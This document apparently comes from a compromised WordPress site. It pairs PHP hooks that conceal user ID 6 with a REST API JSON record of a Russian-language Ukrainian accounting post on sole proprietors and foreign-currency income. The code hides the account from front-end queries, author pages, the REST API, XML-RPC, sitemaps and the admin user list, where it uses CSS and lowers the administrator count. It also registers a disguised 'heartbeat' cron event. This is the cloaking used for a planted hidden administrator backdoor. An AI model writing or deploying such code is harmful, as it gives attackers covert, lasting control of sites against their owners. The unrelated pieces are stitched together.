add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 6;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 6 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 6;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 6;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 6;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 6;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-6{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":1223,"date":"2021-04-23T12:17:10","date_gmt":"2021-04-23T09:17:10","guid":{"rendered":"http:\/\/assets-buh.com.ua\/?p=1223"},"modified":"2022-05-05T15:21:21","modified_gmt":"2022-05-05T12:21:21","slug":"otvety-na-voprosy-fop","status":"publish","type":"post","link":"http:\/\/assets-buh.com.ua\/ru\/fop-ved\/","title":{"rendered":"\u0424\u041b\u041f \u0438 \u0432\u043d\u0435\u0448\u043d\u0435\u044d\u043a\u043e\u043d\u043e\u043c\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c"},"content":{"rendered":"<p>\u0417\u0434\u0435\u0441\u044c \u043c\u044b \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u043c \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0432\u043d\u0435\u0448\u043d\u0435\u044d\u043a\u043e\u043d\u043e\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0441 \u0424\u041b\u041f.<\/p>\n<p><strong>\u0424\u041b\u041f: \u043e\u0431\u043d\u0430\u043b\u0438\u0447\u0438\u0432\u0430\u043d\u0438\u0435 \u0432\u0430\u043b\u044e\u0442\u044b. \u041c\u043e\u0436\u0435\u0442 \u043b\u0438 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0439 \u0434\u043e\u0445\u043e\u0434 \u0438\u0437-\u0437\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0432 \u0432\u0430\u043b\u044e\u0442\u0435, \u0441\u043d\u044f\u0442\u044c \u044d\u0442\u0443 \u0432\u0430\u043b\u044e\u0442\u0443 \u0432 \u0431\u0430\u043d\u043a\u0435?<\/strong><\/p>\n<p><span style=\"font-weight: 400;\">\u041d\u0435\u0442. \u041d\u0443\u0436\u043d\u043e \u044d\u0442\u0443 \u0432\u0430\u043b\u044e\u0442\u0443 \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c \u043d\u0430 \u0433\u0440\u0438\u0432\u043d\u0435, \u0438 \u0443\u0436\u0435 \u0441 \u0433\u0440\u0438\u0432\u043d\u0435\u0432\u043e\u0433\u043e \u0441\u0447\u0435\u0442\u0430 \u0424\u041b\u041f \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u043d\u0430 \u043b\u0438\u0447\u043d\u0443\u044e \u043a\u0430\u0440\u0442\u0443. \u041f\u043e\u0442\u043e\u043c \u0443\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u0431\u0440\u0430\u0442\u044c \u0432\u0430\u043b\u044e\u0442\u0443 \u043a\u0430\u043a \u0444\u0438\u0437. \u043b\u0438\u0446\u043e. \u0414\u0430, \u044d\u0442\u043e \u0432\u043e\u0437\u043c\u0443\u0449\u0430\u0435\u0442, \u043d\u043e \u043f\u043e\u043a\u0430 \u043d\u0430\u0448\u0435 \u0437\u0430\u043a\u043e\u043d\u043e\u0434\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u044d\u0442\u043e\u0439 \u0432\u0430\u043b\u044e\u0442\u043e\u0439 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0441 \u0437\u0430\u0440\u0443\u0431\u0435\u0436\u043d\u044b\u043c\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c\u0438. \u041f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043e\u043f\u043b\u0430\u0442\u044b \u0441 \u0440\u0430\u0441\u0447\u0435\u0442\u043d\u043e\u0433\u043e \u0441\u0447\u0435\u0442\u0430 \u0432 \u0432\u0430\u043b\u044e\u0442\u0435 \u043f\u043e \u0423\u043a\u0440\u0430\u0438\u043d\u0435 \u043d\u0435\u043b\u044c\u0437\u044f.<\/span><\/p>\n<p><strong><span style=\"font-size: 14pt;\">\u041c\u043e\u0436\u0435\u0442 \u043b\u0438 \u0424\u041b\u041f \u0437\u0430\u043d\u0438\u043c\u0430\u0442\u044c\u0441\u044f \u0432\u043d\u0435\u0448\u043d\u0435\u044d\u043a\u043e\u043d\u043e\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e?<\/span><\/strong><\/p>\n<p><span style=\"font-weight: 400;\">\u0422\u0430\u043a, \u0424\u041b\u041f \u043d\u0430 2 \u0433\u0440\u0443\u043f\u043f\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0434\u0430\u0432\u0430\u0442\u044c \u0442\u043e\u0432\u0430\u0440\u044b \u0437\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0443, \u0424\u041b\u041f \u043d\u0430 3 \u0433\u0440\u0443\u043f\u043f\u0435 \u043c\u043e\u0436\u0435\u0442 \u0442\u043e\u0432\u0430\u0440\u044b \u043f\u0440\u043e\u0434\u0430\u0432\u0430\u0442\u044c \u0438 \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u0443\u0441\u043b\u0443\u0433\u0438 \u0437\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u0443. \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043a\u0432\u0435\u0434\u044b \u0434\u043b\u044f \u0412\u042d\u0414 \u043d\u0435 \u043d\u0443\u0436\u043d\u044b. \u041d\u0443\u0436\u043d\u044b \u041a\u0412\u0415\u0414\u042b, \u043e\u0442\u043d\u043e\u0441\u044f\u0449\u0438\u0435\u0441\u044f \u043a \u0432\u0430\u0448\u0435\u0439 \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438.<\/span><\/p>\n<p><strong><span style=\"font-size: 14pt;\">\u0420\u0430\u0441\u0447\u0435\u0442 \u0434\u043e\u0445\u043e\u0434\u0430 \u0432 \u0424\u041b\u041f, \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0449\u0435\u0433\u043e \u0432\u0430\u043b\u044e\u0442\u0443.<\/span><\/strong><\/p>\n<p>\u041d\u0430 \u0434\u0430\u0442\u0443 \u0437\u0430\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u044f \u0432\u0430\u043b\u044e\u0442\u044b \u043d\u0430 \u0432\u0430\u043b\u044e\u0442\u043d\u044b\u0439 \u0441\u0447\u0435\u0442 \u043d\u0443\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u044d\u0442\u0443 \u0441\u0443\u043c\u043c\u0443 \u0432 \u0433\u0440\u0438\u0432\u043d\u0443 \u043f\u043e \u043a\u0443\u0440\u0441\u0443 \u041d\u0411\u0423 <a href=\"https:\/\/zakon.rada.gov.ua\/laws\/show\/2755-17#n7038\" target=\"_blank\" rel=\"noopener\">\u043f. 292.5 \u041d\u041a\u0423.<\/a> \u0415\u0441\u043b\u0438 \u0432\u0430\u043b\u044e\u0442\u0443 \u0432\u044b \u043f\u0440\u043e\u0434\u0430\u0435\u0442\u0435 \u0441\u043e \u0441\u0447\u0435\u0442\u0430 \u0447\u0435\u0440\u0435\u0437 \u043a\u0432\u0430\u0440\u0442\u0430\u043b, \u043a\u043e\u0433\u0434\u0430 \u043e\u0442\u0447\u0435\u0442 \u0443\u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d, \u0442\u043e \u0435\u0441\u0442\u044c \u0432 \u0434\u0440\u0443\u0433\u043e\u043c \u043e\u0442\u0447\u0435\u0442\u043d\u043e\u043c \u043f\u0435\u0440\u0438\u043e\u0434\u0435, \u0442\u043e \u0441\u043d\u043e\u0432\u0430 \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u044d\u0442\u0438 \u0441\u0443\u043c\u043c\u044b \u0432 \u0434\u043e\u0445\u043e\u0434 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e. \u041a\u0443\u0440\u0441\u043e\u0432\u044b\u0435 \u0440\u0430\u0437\u043d\u0438\u0446\u044b \u043f\u043e \u0435\u0434\u0438\u043d\u043e\u043c\u0443 \u043d\u0430\u043b\u043e\u0433\u0443 \u0432 \u0424\u041b\u041f \u043d\u0435 \u0441\u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f. \u0410 \u0432\u043e\u0442 \u0432 \u041e\u041e\u041e \u043d\u0430 \u0435\u0434\u0438\u043d\u043e\u043c \u043d\u0430\u043b\u043e\u0433\u0435 \u2013 \u043a\u0443\u0440\u0441\u043e\u0432\u044b\u0435 \u0440\u0430\u0437\u043d\u0438\u0446\u044b \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044e\u0442\u0441\u044f.<\/p>\n<p>\u0411\u043e\u043b\u044c\u0448\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0424\u041b\u041f \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0432 \u0432\u0438\u0434\u0435\u043e \u0410\u043d\u043d\u044b \u041a\u0443\u0440\u043e\u0432\u0441\u043a\u043e\u0439.<\/p>\n<p>\u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u0424\u041b\u041f |<br \/>\n\u0427\u0430\u0441\u0442\u044c 1: <a href=\"https:\/\/is.gd\/ErHhxR\" target=\"_blank\" rel=\"noopener\">https:\/\/is.gd\/ErHhxR<\/a><br \/>\n\u0427\u0430\u0441\u0442\u044c 2: <a href=\"https:\/\/is.gd\/n7f5i4\" target=\"_blank\" rel=\"noopener\">https:\/\/is.gd\/n7f5i4<\/a><br \/>\n\u0427\u0430\u0441\u0442\u044c 3: <a href=\"https:\/\/is.gd\/4DECYc\" target=\"_blank\" rel=\"noopener\">https:\/\/is.gd\/4DECYc<\/a><\/p>\n<p>\u041a\u0430\u043a \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0424\u041b\u041f: <a href=\"https:\/\/is.gd\/a96c65\" target=\"_blank\" rel=\"noopener\">https:\/\/is.gd\/a96c65<\/a><br \/>\n\u042d\u0442\u0438 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0437\u0430\u0434\u0430\u044e\u0442 \u043f\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u0438\u0438 \u0424\u041b\u041f: <a href=\"https:\/\/is.gd\/McFGKi\" target=\"_blank\" rel=\"noopener\">https:\/\/is.gd\/McFGKi<\/a><\/p>\n<p><span style=\"color: #3366ff;\"><strong>\u041d\u0430\u0448 \u0442\u0435\u043b\u0435\u0433\u0440\u0430\u043c\u043c \u043a\u0430\u043d\u0430\u043b <a href=\"https:\/\/t.me\/assets_buh\" target=\"_blank\" rel=\"noopener\">\u0437\u0434\u0435\u0441\u044c<\/a><\/strong><\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"color: #800000;\"><strong>\u0415\u0441\u043b\u0438 \u0412\u0430\u043c \u043d\u0443\u0436\u043d\u0430 \u043f\u043b\u0430\u0442\u043d\u0430\u044f \u043a\u043e\u043d\u0441\u0443\u043b\u044c\u0442\u0430\u0446\u0438\u044f \u0438\u043b\u0438 \u0432\u044b \u0438\u0449\u0435\u0442\u0435 \u0431\u0443\u0445\u0433\u0430\u043b\u0442\u0435\u0440\u0430 \u0434\u043b\u044f \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0424\u041e\u041f \u0438\u043b\u0438 \u041e\u041e\u041e, \u0437\u0432\u043e\u043d\u0438\u0442\u0435: 063-407-48-71.<\/strong><\/span><\/p>","protected":false},"excerpt":{"rendered":"<p>\u0422\u0443\u0442 \u043c\u0438 \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u0430\u0454\u043c\u043e \u043d\u0430 \u043f\u0438\u0442\u0430\u043d\u043d\u044f \u0449\u043e\u0434\u043e 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